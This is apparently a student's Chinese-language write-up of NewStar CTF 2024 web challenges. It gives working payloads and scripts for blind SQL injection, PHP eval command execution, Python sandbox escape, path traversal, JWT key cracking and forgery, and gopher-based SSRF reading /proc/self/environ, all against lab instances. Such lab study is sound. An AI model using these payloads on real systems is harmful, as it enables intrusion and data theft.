链接

newstarCTF 2024

谢谢皮蛋

由于页面只能显示1条信息,因此一开始的id要设置为-1,这样就不会在原始数据库查询了(查不到了)

之后就是正常的利用union来查库名 表名 列名即可

PangBai 过家家(1)

学到了不少东西

一开始用的hackbar发包,到第五关卡住了,于是改用了burpsuite发包

从get改到post方法漏东西了,导致一直发不成功了

POST 的查询类型有很多种,通过 HTTP 报文中的 Content-Type 指定,以告诉服务端用何种方式解析报文 Body 的内容。

Content-Type 描述
application/x-www-form-urlencoded 和 GET 查询字段的写法一样,开头不需要 ?,用 & 符号连接各查询参数,遇到特殊字符需要进行转义。
application/json Body 给出一个 JSON 格式的数据,服务端会解析它。
multipart/form-data 表单字段,一般用于有文件等复杂类型的场景。
我们可以用任意方式,那么我们选择用 application/x-www-form-urlencoded 发送个 say=hello 的请求包即可。

在发包报文那里任意位置添加项目

Content-Type: application/x-www-form-urlencoded

即可

另外还有个事情

如果使用 HackBar 插件,请在 Modify Header 一栏中删除 Cookie 字段(删除后会自动采用浏览器当前的 Cookie),或者请手动更新该字段。因为 Cookie 携带着关卡信息,如果不更新该值,将永远停留在同一关。

第5关要求用patch方法发一个包

这一关是相对较难的一关,浏览器插件并不支持发送 PATCH 包和自定义文件,必须通过一些发包工具或者写代码来发送该内容。PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data 发包即可,注意该 Header 的值后面需要加一个 boundary 表示界定符。例如Content-Type: multipart/form-data; boundary=abc,那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。

关于 multipart/form-data

这个 Content-Type 下的 Body 字段不需要进行转义,每一个查询内容以一个空行区分元信息和数据(就和 HTTP 报文区分标头和 Body 的那样),如果数据中包含 boundary 界定符的相关内容,可能引起误解,那么可以通过修改 boundary 以规避碰撞情况(因此浏览器发送 mulipart/form-data 的表单时,boundary 往往有很长的 -- 并且包含一些长的随机字符串。

发包内容

PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168

--abc
Content-Disposition: form-data; name="file"; filename="1.zip"

123
--abc
Content-Disposition: form-data; name="say"

玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--

其中”123”正是1.zip的内容

第6关要求让服务器认为这是一个来自本地的请求。

可以通过设置 Host X-Real-IP X-Forwarded-For Referer 等标头欺骗服务器。

GET /?ask=miao HTTP/1.1
Host: localhost
Referer: http://localhost
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
GET /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
X-Real-IP: 127.0.0.1
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
GET /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
X-Forwarded-For: 127.0.0.1
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y

之后就是JWT

JWT 全称是 JSON Web Token,是一种基于 JSON 的开放标准(RFC 7519),用于在网络应用环境间以紧凑URL 安全的方式传递信息,常用于**身份验证(Authentication)**和**授权(Authorization)**。

JWT 通常由三部分组成,用 . 分隔:

header.payload.signature

第一个部分和第二部分都是base64编码的结果,第三部分是通过一个密钥外加前面的内容签名生成的,因此要伪造jwt必须要知道密钥

最后一关告诉了我们密钥,之后我们在payload里面改level为0即可。

遗失的拉链

dirsearch扫目录,扫到www.zip

下载下来打开

<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

可以让new 和star都是数组,这样sha1和md5返回都是null也就相等了。

preg_match(“/cat|flag/i”, $cmd)意思是不能出现cat和flag

可以

/fla*``` 这个样子

hackbar的payload

http://127.0.0.1:9859/pizwww.php?new[]=1


star[]=2&&cmd=system(“tac /f*”);


# Pangbai 过家家(2)

.git泄露

一开始用dirsearch扫,扫到.git了,网上找如何git泄漏,一开始用的githack结果发现怎么都用不了。

wp用的是githacker

```sh
pip install githacker

然后

githacker -url http://127.0.0.1:16475/.git/ --output-folder .

就可以把源码泄漏出来了

可以查看stash

git stash list

查看到了backdoor

之后可以

git stash pop

这里就能找到保存的未被提交的后门文件

查看源码,之后经过一系列的绕过

payload

http://127.0.0.1:16475/BacKd0or.vubjeVv3GZwDWHK3.php/?NewStar[CTF.2024=Welcome%0a

args=env | grep FLAG&func=system&papa=doKcdnEOANVB
if ($_POST['papa'] !== 'doKcdnEOANVB') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}

对于这个表达式,可以使用换行符绕过。preg_match 默认为单行模式(此时 . 会匹配换行符),但在 PHP 中的该模式下,$ 除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。
但如果直接传参 NewStar_CTF.2024=Welcome%0A 会发现并没有用。这是由 NewStar_CTF.2024 中的特殊字符 . 引起的,PHP 默认会将其解析为 NewStar_CTF_2024. 在 PHP 7 中,可以使用 [ 字符的非正确替换漏洞。当传入的参数名中出现 [ 且之后没有 ] 时,PHP 会将 [ 替换为 _,但此之后就不会继续替换后面的特殊字符了因此,GET 传参 NewStar[CTF.2024=Welcome%0a 即可,随后传入 call_user_func 的参数即可。

一个是使用[替换_ 之后.就可以正常使用,一个是php里面$可以匹配换行符%0a

臭皮的计算机

有个waf函数

def waf(s):
token = True
for i in s:
if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
token = False
break
return token

不能输入英文

但是可以使用全角英文

方法:

__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

其中所有英文字母都是全角英文,除英文字母外使用半角字符和数字(import两边可以都是半角,可以一半一全,但不可以都是全角)

最终效果就是

__import__(os).system('cat /flag')

这照片是你吗

提示说

<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->

没有apache和nginx,提示的意思是
路由的处理方式很可能是统一由某个服务框架(如 Express、Flask、FastAPI、Django 等)处理的,而不是交给专门的 web 服务器分发静态资源

可能存在路径穿越漏洞和任意文件读取。

可以使用../进行测试,但是不要使用浏览器测试,可以使用burpsuite。

浏览器会根据 URL 规范自动对路径做调整,包括:

解析和简化路径中的 .(当前目录)和 ..(上级目录)部分。

去除多余的斜杠 /。

防止访问父目录导致跨越网站根目录(路径穿越)。

使用burpsuite发包

GET /../app.py HTTP/1.1
Host: 127.0.0.1:32655
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

可以得到app.py源码

from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time

import os
import requests

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

print(admin_pass)

app = Flask(__name__)
failure_count = 0

users = {
'admin': admin_pass,
'amiya': "114514"
}

def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True

@app.route('/')
def index():
return redirect("/home")

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)

@app.route('/logout')
def logout():
response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', '', expires=0)
return response

@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))

@app.route('/admin')
def admin():
try:
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp_text = render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>GET Server Info from api:</p>
<input type="input" value={{api_url}} id="api" readonly>
<button onclick=execute()>Execute</button>
<script>
function execute() {
fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
{credentials: "include"}
).then(res => res.text()).then(data => {
document.write(data);
});
}
</script>
</body>
</html>
''', api_url=request.host_url+"/api", url=request.host_url)
resp = make_response(resp_text)
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)

@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text

@app.route("/api")
def api():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp


@app.route("/<path:file>")
def static_file(file):
print(file)
restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc",
"bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
if any(keyword in file for keyword in restricted_keywords):
return make_response("STOP!", 404)
if not os.path.exists("./static/" + file):
return make_response("Not found!", 404)
return send_file("./static/" + file)


if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)

几个关键点:

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])
users = {
'admin': admin_pass,
'amiya': "114514"
}

admin_pass是不可知的,secret_key是随机6位数字字符串

def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True

验证token的函数,要求user要等于admin,而且不允许爆破

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)

users.get(username),从users中找是否有符合username的键,也就是说username必须是admin或者amiya。

password也必须是users表中的对应的值。

token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)

可以看到token构造是这样的,数据是{‘user’:username,’exp’:一个持续时间}

然后使用secret_key来作为密钥。

看到这里,我们就有一点思路了,首页的登录可以是users表中的数据,我们可以填amiya和114514来登录。

登录之后我们可以发现app.py源码中还有/admin路由,admin使用了verify_token函数作为验证token的函数。

而经过之前的verify_token函数分析,可知要求token得是admin。

我们可以利用之前的token来进行密钥的爆破。

import jwt

token = "your_token_here"

for i in range(1000000):
key = str(i).zfill(6) # 补零成6位
try:
data = jwt.decode(token, key, algorithms=["HS256"])
print(f"[+] Key found: {key}")
print(f"[+] Payload: {data}")
break
except jwt.exceptions.InvalidSignatureError:
continue

可以很容易爆破出secret_key,之后可以伪造token

import jwt
import time

key = "690885"

payload = {
"user": "admin",
"exp": int(time.time()) + 3600 # 设置为1小时后过期
}

token = jwt.encode(payload, key, algorithm="HS256")
print("[+] JWT Token:", token)

之后把生成的token放进hackbar就可以登录admin了。

登录admin之后发现有execute功能

@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text

有句很关键的代码

response = requests.get(api_address, cookies={'token': token})

存在ssrf漏洞

SSRF(Server-Side Request Forgery服务器端请求伪造)是一种网络攻击方式。攻击者通过构造请求,诱导目标服务器去访问攻击者指定的地址。攻击的关键是:不是你的浏览器发请求,而是服务器替你发请求

之后我想通过这个ssrf来访问根目录下的/flag,结果发现一直不行,怎么尝试都显示not found

可能是因为根目录下根本没有flag(如果有的话是不是可以在第一部路径穿越的时候就获取??)

我们在app.py的代码中可以看到

from flag import get_random_number_string

也就是说app.py同目录下还有flag.py

可以利用路径穿越漏洞来获取flag.py源码

from flask import Flask
import os
import random

def get_random_number_string(length):
return ''.join([str(random.randint(0, 9)) for _ in range(length)])

get_flag = Flask("get_flag")

FLAG = os.environ.pop("ICQ_FLAG", "flag{test_flag}")

@get_flag.route("/fl4g")
#如何触发它呢?
def flag():
return FLAG

if __name__ == "__main__":
get_flag.run(host="127.0.0.1",port=5001)

在本地开启了一个5001端口,我们刚好可以利用ssrf来访问这个fl4g

在hackbar中构造

http://127.0.0.1:32655/execute?api_address=http://127.0.0.1:5001/fl4g

不要忘记cookie要伪造成token=…… (user是admin )的token

这样就能成功拿到flag了

臭皮踩踩背

python的简单沙箱逃逸

你被豌豆关在一个监狱里,,,,,,
豌豆百密一疏,不小心遗漏了一些东西,,,
def ev4l(*args):
print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
能不能逃出去给豌豆踩踩背就看你自己了,臭皮,,
>

eval实际上有两个参数,第一个参数就是要eval的字符串,第二个参数就是当前代码的globals,可以理解为全局变量,或者说上下文环境。

可以看到这里的globals设置成了{"__builtins__": None, 'f': f, 'eval': ev4l}

也就是说__builtins__是空了,很多函数都没法直接用了。

但是可以利用f,f.__globals__ 仍然可以访问正常的全局变量,之后就可以正常操作了

> f.__globals__['__builtins__'].__import__('os').system('cat /flag')
flag{neWStaR_ctf-Z0ZA2f765d6d13c9}

要注意的是,假如在这里使用了eval ,就需要手动设置一下globals,比如

f.__globals__['__builtins__'].eval(
'print(1)',
{"__builtins__": f.__globals__['__builtins__']}
)

因为如果不手动设置一下,globals还是None

https://www.cnblogs.com/conscience-remain/p/16991530.html

需要用到沙箱逃逸的时候再重新学一下

blindsql1

ban了很多东西

union ascii = / 等等

思路就是利用下面的语句:

http://127.0.0.1:5007/?student_name=alice%27AND(ord(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))in(ord(%27i%27)))%23#
MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1)

其中这句代码指的是,把(SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata))的结果从第一个字符开始算1个字符(也就是第一个字符)

ord(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))in(ord(%27i%27))

然后取ord函数,得到ascii码,与i的ord比较,是否是i。

如果是i,就为真,response里的text就会有alice,用这个来判断是否正确。

之后就爆破,但是不知道是服务器的限制还是什么,跑了几十次就卡住了。

这里贴一下wp的代码


import requests,string,time

url = ''

result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + '_-{}':
time.sleep(0.2) # 限制速率,防止请求过快

print('[+] Trying:', c)

# 这条语句能查询到当前数据库所有的表名
tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'

# 获取所有表名的第 i 个字符,并计算 ascii 值
char = f'(ord(mid({tables},{i},1)))'

# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'

# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'

res = requests.get(url, params={'student_name': p})

if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break

import requests,string,time

url = ''

result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快

print('[+] Trying:', c)

tables = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'

char = f'(ord(mid({tables},{i},1)))'

# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'

# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'

res = requests.get(url, params={'student_name': p})

if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break
import requests,string,time

url = ''

result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + ',_-{}':
time.sleep(0.01) # 限制速率,防止请求过快

print('[+] Trying:', c)

tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'

char = f'(ord(mid({tables},{i},1)))'

# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'

# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'

res = requests.get(url, params={'student_name': p})

if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break

下面是我用二分跑的代码

import requests
url='http://127.0.0.1:11930/?student_name=alice\''

def response_1(pos,mid):
c=chr(mid)
while True:
try:
table=f'AND(ord(MID((SELECT(GROUP_CONCAT(secret_value))FROM(ctf.secrets)WHERE((secret_key)IN(\'flag\'))),{pos},1))IN(ord(\'{c}\')))%23#'
url1=url+table
response=requests.get(url1,timeout=0.4)
if 'Alice' in response.text:
print(f'yes! pos:{pos} c:{mid}')
return True
else:
print(f'no! pos:{pos} c:{mid}')
return False
except requests.exceptions.RequestException as e:
continue

def response_2(pos,mid):
c=chr(mid)
while True:
try:
table=f'AND(ord(MID((SELECT(GROUP_CONCAT(secret_value))FROM(ctf.secrets)WHERE((secret_key)IN(\'flag\'))),{pos},1))>(ord(\'{c}\')))%23#'
url1=url+table
response=requests.get(url1,timeout=0.4)
if 'Alice' in response.text:
print(f'yes! pos:{pos} c>{mid}')
return True
else:
print(f'no! pos:{pos} c<={mid}')
return False
except requests.exceptions.RequestException as e:
continue

def binary_search(pos):
# 定义左右边界
left = 31
right = 127
while left <= right:

mid = (left + right) // 2

if response_1(pos,mid):
return mid
elif response_2(pos,mid):
left = mid + 1
else:
right = mid - 1

return -1

str1=''
for pos in range(1,100):
target=binary_search(pos)
str1+=chr(target)
print(f'flag:{str1}')

print(len(str1))
print(str1)

chocolate

前几步就是考察的php语言特性

<?php
global $cocoaLiquor_star;
global $what_can_i_say;
include("source.php");
highlight_file(__FILE__);

printf("什么?想做巧克力? ");

if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="1337"){
die("可爱的捏");
}
if(preg_match("/[a-z]|\./i", $num)){
die("你干嘛");
}
if(!strpos($num, "0")){
die("orz orz orz");
}
if(intval($num,0)===1337){
print("{$cocoaLiquor_star}\n");
print("{$what_can_i_say}\n");
print("牢师傅如此说到");
}
}

可以利用八进制进行绕过

payload:

http://127.0.0.1:24368/0ldStar.php?num=+02471

得到

// 可可液块 (g): 1337033
// gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到

下面是rot13,解码得到

the next level is : cocoaButter_star.php

第二步:

<?php
global $cocoaButter_star;
global $next;
error_reporting(0);
include "source.php";

$cat=$_GET['cat'];
$dog=$_GET['dog'];

if(is_array($cat) || is_array($dog)){
die("EZ");
}else if ($cat !== $dog && md5($cat) === md5($dog)){
print("of course you konw");
}else {
show_source(__FILE__);
die("ohhh no~");
}

if (isset($_POST['moew'])){
$miao = $_POST['moew'];
if($miao == md5($miao)){
echo $cocoaButter_star;
}
else{
die("qwq? how?");
}
}

$next_level =$_POST['wof'];

if(isset($next_level) && substr(md5($next_level),0,5)==='8031b'){
echo $next;
}

有三小问

if(is_array($cat) || is_array($dog)){
die("EZ");
}else if ($cat !== $dog && md5($cat) === md5($dog)){

可以利用下面的来绕过

?cat=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&dog=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
miao == md5($miao)

可以利用

moew=0e215962017

因为moew经过md5之后还是0e……的格式,因此可以绕过

if(isset($next_level) && substr(md5($next_level),0,5)==='8031b'){

可以爆破

import hashlib
for i in range(1,10000000):
s=str(i)
s=hashlib.md5(s.encode()).hexdigest()
if s[:5]=='8031b':
print(s)
print(i)
print("yes")

print("finish!")
wof=2306312

final.php最后的反序列化在其他内容提到了,绕过方法就是把chocolate任意一个字符改成大写即可。

之后需要爆破,但是我的爆破代码需要跑很久……

接近一小时了

import requests
import time
url="http://127.0.0.1:29785/verify.php"
a=time.time()
for i in range(1,1337033):
power=str(i)
data={
"cocoaButter":"202409",
"cocoaLiquor":"1337033",
"darkCocoaPowder":"51540",
"powderedSugar":power
}
while True:
try:
response=requests.post(url=url,data=data,timeout=0.5)
if "好苦" in response.text:
print(f'{i}:no!!!')
break
else:
print(response.text)
print(f'{i}:yes!!!')
exit(0)
except requests.exceptions.RequestException as e:
continue
b=time.time()
b-=a
print(f"time:{b}s")
2041:no!!!
<!DOCTYPE html>
<html>
<head>
<title>背景图片示例</title>
</head>
<body style="background-image: url('choco.gif'); background-size: cover;">
喵喵
这确实是巧克力!flag{NeW5tAr_ctf-2O2A10f6b08c71c2}
bye
2042:yes!!!

ezcmsss

感觉像是一个正常的web题目

能直接下载到源码www.zip,wp说是首页源码有提示,结果我是用dirsearch扫出来的

源码是jizhicms的服务,start.sh能看到用户名和密码,并且提示了管理员用户接口admin.php

登录进去之后是管理员界面

网上可以搜到jizhicms在这个版本的文件上传漏洞

基本流程是这样的,使用文件上传可以上传一个压缩包,然后可以发包让控制服务器解压,这样就可以把我们的木马传上去

之后就正常得到flag

https://newstar.wiki/wp/2024/week4/web/ezcmsss.html

PangBai过家家(4)

go语言模版注入

可以利用

{{.User.JwtKey}}

来得到token的密钥,然后就可以伪造Papa用户的Cookie

之后注意到routeFavorite函数里面可以实现篡改sign文件路径,这样就可以任意文件读取了

我做到了这一步,想着可以使用burpsuite发包来实现,结果最后一直显示无法读取文件

看了wp之后才发现我遗漏的东西

requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
fmt.Println("Request IP:", requestIP)
if requestIP != "127.0.0.1" && requestIP != "[::1]" {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Only localhost can access"))
return
}

这段代码限制了只有本机才能访问

(但是我在使用burpsuite发包之后显示也成功篡改了,只是不能读取?按理来说连篡改都不能?我的回复报文相应的也是ok)

于是我们可以利用下面这个函数

func (c Helper) Curl(url string) string {
fmt.Println("Curl:", url)
cmd := exec.Command("curl", "-fsSL", "--", url)
_, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("Error: curl:", err)
return "error"
}
return "ok"
}

ssrf攻击

利用curl开启一个服务

{{.Curl "http://localhost:8000"}}

之后利用这个服务来发送PUT请求

首先构造PUT报文

PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTExMDI1MTgsInVzZXIiOiJQYXBhIn0.JuYmj3YXra_eO-ALk9O-_zoiGfNI8-Ip3sOtGK83WcA
Content-Length: 18

/proc/self/environ

然后使用cyberchef来编码并套上 Gopher 协议

{{.Curl "gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJleHAiOjE3NTExMDI1MTgsInVzZXIiOiJQYXBhIn0%2EJuYmj3YXra%5FeO%2DALk9O%2D%5FzoiGfNI8%2DIp3sOtGK83WcA%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron"}}

这样就成功篡改了

最后访问/favorite即可得到flag

blindsql2

注了一个小时注烦了

大概原理就是使用if语句,当真的时候sleep几秒,这样就能判断了

https://www.cnblogs.com/qiushuo/p/17485659.html

比如

http://localhost:8000/?student_name=alice%27and(if((select(count(table_name))from(information_schema.tables)where((table_schema)IN(database())))IN(3),sleep(3),1))%23#